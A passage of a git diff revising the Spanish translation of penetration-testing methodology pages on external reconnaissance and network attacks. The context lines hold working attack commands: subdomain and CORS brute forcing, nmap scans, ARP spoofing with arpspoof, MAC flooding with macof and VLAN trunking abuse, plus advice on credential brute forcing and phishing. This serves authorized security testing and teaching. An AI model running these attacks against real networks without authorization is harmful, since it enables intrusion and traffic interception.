en el Event ID 4625. ### Recuperando eventos de Windows @@ -481,11 +480,11 @@ Registrado por EventID 4616, los cambios en la hora del sistema pueden complicar #### Seguimiento de dispositivos USB -IDs de eventos del sistema útiles para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción. +Los System EventIDs útiles para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción. #### Eventos de energía del sistema -EventID 6005 indica el inicio del sistema, mientras que EventID 6006 marca el apagado. +El EventID 6005 indica el inicio del sistema, mientras que el EventID 6006 marca el apagado. #### Eliminación de registros diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 0fcdbafa7..f7dbd7439 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -4,7 +4,7 @@ ## Descubrimiento de Activos -> Se te ha dicho que todo lo que pertenece a una empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa. +> Se te ha dicho que todo lo que pertenece a alguna empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa. El objetivo de esta fase es obtener todas las **empresas propiedad de la empresa principal** y luego todos los **activos** de estas empresas. Para hacerlo, vamos a: @@ -26,7 +26,7 @@ Otra opción es visitar la página de **Wikipedia** de la empresa principal y bu Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\ Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores. -Es interesante averiguar si la **empresa tiene asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\ +Es interesante averiguar si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\ Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\ **Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace. ```bash @@ -58,7 +58,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http:// En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\ Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\ -**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Dominios @@ -82,7 +82,7 @@ También puedes usar una herramienta en línea para esta información: [http://p ### **Reverse Whois (loop)** -Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas inversas de whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\ +Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas de reverse whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\ Puedes usar herramientas en línea como: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis** @@ -90,10 +90,10 @@ Puedes usar herramientas en línea como: - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis** - [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API. - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas) +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratis**) - [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis -Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave API de whoxy).\ +Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\ También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` **Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.** @@ -113,7 +113,7 @@ Hay algunas páginas y herramientas que te permiten buscar por estos trackers y ### **Favicon** -¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Aquí te explicamos cómo usarla: +¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hecha por [@m4ll0k2](https://twitter.com/m4ll0k2) hace. Aquí te explicamos cómo usarla: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -151,7 +151,7 @@ Es común tener un trabajo cron como 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\ -Consulta este [**artículo para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +Consulta este [**escrito para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### Información de Mail DMARC @@ -159,7 +159,7 @@ Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc ### **Toma Pasiva** -Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en la nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**. +Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**. [**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella. @@ -175,14 +175,14 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante impresionante. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante impresionante. ### **Buscando vulnerabilidades** -Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa. +Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **haya perdido la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa. -Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ -_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._ +Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ +_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está en el alcance, ten cuidado._ ## Subdominios @@ -195,7 +195,7 @@ Es hora de encontrar todos los posibles subdominios de cada dominio encontrado. ### **DNS** -Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías reportarlo). +Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías informarlo). ```bash dnsrecon -a -d tesla.com ``` @@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado. +- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -341,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor +- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo utiliza 1 resolvedor ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` @@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ #### Generación de permutaciones inteligentes -- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios. +- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente tomará las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute @@ -399,7 +399,7 @@ puredns resolve adobe.brute --write adobe.valid ``` echo www | subzuf facebook.com ``` -### **Flujo de Trabajo de Descubrimiento de Subdominios** +### **Flujo de Trabajo para el Descubrimiento de Subdominios** Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora: @@ -435,10 +435,10 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` -> [!NOTE] +> [!TIP] > Con esta técnica, incluso podrías acceder a endpoints internos/ocultos. -### **CORS Fuerza Bruta** +### **CORS Brute Force** A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**. ```bash @@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ``` ### **Fuerza Bruta de Buckets** -Mientras buscas **subdominios**, presta atención para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ -Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta de posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html). +Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ +Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html). ### **Monitorización** @@ -455,18 +455,18 @@ Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitorea ### **Buscando vulnerabilidades** -Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Verifica posibles [**tomas de subdominio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html). -Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ -_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está en el alcance, ten cuidado._ +Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ +_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no es controlada por el cliente, por lo que no está en el alcance, ten cuidado._ ## IPs En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\ Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).** -Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -487,7 +487,7 @@ En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, por lo que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance). Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\ -Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos: +Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 @@ -502,7 +502,7 @@ Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) p ## Activos de Nube Pública -Para encontrar activos potenciales en la nube que pertenezcan a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`. +Para encontrar activos en la nube potenciales que pertenecen a una empresa, deberías **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`. También necesitarás listas de palabras de **palabras comunes utilizadas en buckets**: @@ -514,11 +514,11 @@ Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Seg Con las listas de palabras resultantes podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**. +Recuerda que al buscar Activos en la Nube deberías **buscar más que solo buckets en AWS**. ### **Buscando vulnerabilidades** -Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas. +Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas. ## Correos Electrónicos @@ -531,26 +531,26 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t ### **Buscando vulnerabilidades** -Los correos electrónicos serán útiles más tarde para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing. +Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing. ## Filtraciones de Credenciales -Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado que pertenezcan a esos correos electrónicos: +Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) ### **Buscando vulnerabilidades** -Si encuentras credenciales **filtradas válidas**, esto es una victoria muy fácil. +Si encuentras credenciales **filtradas válidas**, esta es una victoria muy fácil. ## Filtraciones de Secretos -Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas pueden verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos: +Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas podrían verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos: ### Filtraciones de Github -Las credenciales y APIs pueden haber sido filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\ +Las credenciales y APIs podrían estar filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\ Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente. **Leakos** también puede ser utilizado para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a él, ya que a veces **las páginas web también contienen secretos**. @@ -565,7 +565,7 @@ github-leaked-secrets.md ### Filtraciones de Pastas -A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto puede o no contener **información sensible**, pero es muy interesante buscarlo.\ +A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto podría o no contener **información sensible**, pero es muy interesante buscarlo.\ Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo. ### Dorks de Google @@ -576,7 +576,7 @@ _Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos u ### **Buscando vulnerabilidades** -Si encuentras credenciales o tokens de API **filtrados válidos**, esto es una victoria muy fácil. +Si encuentras credenciales **filtradas válidas** o tokens de API, esta es una victoria muy fácil. ## Vulnerabilidades de Código Público @@ -596,7 +596,7 @@ También hay servicios gratuitos que te permiten **escanear repositorios públic La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/index.html). -También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.** +También quiero hacer una mención especial a la sección [**Herramientas de Escaneo Automático de Web de código abierto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.** ## Recapitulación @@ -605,18 +605,18 @@ También quiero hacer una mención especial a la sección [**Herramientas de esc Así que ya has: 1. Encontrado todas las **empresas** dentro del alcance -2. Encontrado todos los **activos** que pertenecen a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance) -3. Encontrado todos los **dominios** que pertenecen a las empresas +2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance) +3. Encontrado todos los **dominios** pertenecientes a las empresas 4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?) 5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance. 6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena investigar más a fondo?) -7. Encontrado todos los **activos potenciales de nube pública** que pertenecen a la empresa. -8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**. +7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa. +8. **Correos electrónicos**, **filtraciones de credenciales**, y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**. 9. **Pentesting todas las webs que encontraste** ## **Herramientas Automáticas de Reconocimiento Completo** -Hay varias herramientas disponibles que realizarán parte de las acciones propuestas contra un alcance dado. +Hay varias herramientas que realizarán parte de las acciones propuestas contra un alcance dado. - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 4c4af5c02..e5838126e 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -45,7 +45,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 ``` La línea de nmap propuesta anteriormente probará los **1000 puertos UDP principales** en cada host dentro del rango **/24**, pero incluso solo esto tomará **>20min**. Si necesitas **resultados más rápidos**, puedes usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Esto enviará estas **probes UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -### Descubrimiento de Puertos SCTP +### Descubrimiento de puertos SCTP ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn @@ -109,7 +109,7 @@ Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más c Wake On Lan se utiliza para **encender** computadoras a través de un **mensaje de red**. El paquete mágico utilizado para encender la computadora es solo un paquete donde se proporciona un **MAC Dst** y luego se **repite 16 veces** dentro del mismo paquete.\ Luego, este tipo de paquetes generalmente se envían en un **ethernet 0x0842** o en un **paquete UDP al puerto 9**.\ -Si **no se proporciona \[MAC]**, el paquete se envía a **difusión ethernet** (y el MAC de difusión será el que se repita). +Si **no se proporciona \[MAC]**, el paquete se envía a **difusión ethernet** (y el MAC de difusión será el que se repite). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 @@ -155,7 +155,7 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` -### SCTP Scan +### Escaneo SCTP **SCTP (Stream Control Transmission Protocol)** está diseñado para ser utilizado junto con **TCP (Transmission Control Protocol)** y **UDP (User Datagram Protocol)**. Su principal propósito es facilitar el transporte de datos de telefonía a través de redes IP, reflejando muchas de las características de fiabilidad que se encuentran en **Signaling System 7 (SS7)**. **SCTP** es un componente central de la familia de protocolos **SIGTRAN**, que tiene como objetivo transportar señales SS7 a través de redes IP. @@ -170,19 +170,21 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` ### Evasión de IDS e IPS + {{#ref}} ids-evasion.md {{#endref}} ### **Más opciones de nmap** + {{#ref}} nmap-summary-esp.md {{#endref}} ### Revelando direcciones IP internas -**Los routers, firewalls y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, se pueden capturar paquetes en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un Firewall, es probable que dichos paquetes sean filtrados. +**Los routers, firewalls y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, se pueden capturar paquetes en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un Firewall, es probable que tales paquetes sean filtrados. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -246,19 +248,19 @@ arpspoof -t 192.168.1.2 192.168.1.1 ``` ### MAC Flooding - Desbordamiento de CAM -Desbordar la tabla CAM del switch enviando muchos paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un hub (broadcasting todo el tráfico). +Desbordar la tabla CAM del switch enviando muchos paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un hub (transmitiendo todo el tráfico). ```bash macof -i ``` En los switches modernos, esta vulnerabilidad ha sido corregida. -### Ataques 802.1Q VLAN / DTP +### 802.1Q VLAN / Ataques DTP #### Trunking Dinámico El **Protocolo de Trunking Dinámico (DTP)** está diseñado como un protocolo de capa de enlace para facilitar un sistema automático de trunking, permitiendo que los switches seleccionen automáticamente puertos para el modo trunk (Trunk) o modo no trunk. La implementación de **DTP** a menudo se considera indicativa de un diseño de red subóptimo, subrayando la importancia de configurar manualmente los trunks solo donde sea necesario y asegurando una documentación adecuada. -Por defecto, los puertos de los switches están configurados para operar en modo Dinámico Automático, lo que significa que están listos para iniciar el trunking si son solicitados por un switch vecino. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al switch y envía un marco DTP Deseable, obligando al puerto a entrar en modo trunk. Esta acción permite al atacante enumerar VLANs a través del análisis de marcos STP y eludir la segmentación de VLAN al configurar interfaces virtuales. +Por defecto, los puertos de los switches están configurados para operar en modo Dinámico Automático, lo que significa que están listos para iniciar el trunking si un switch vecino lo solicita. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al switch y envía un marco DTP Deseable, obligando al puerto a entrar en modo trunk. Esta acción permite al atacante enumerar VLANs a través del análisis de marcos STP y eludir la segmentación de VLAN al configurar interfaces virtuales. La presencia de DTP en muchos switches por defecto puede ser explotada por adversarios para imitar el comportamiento de un switch, obteniendo así acceso al tráfico a través de todas las VLANs. El script 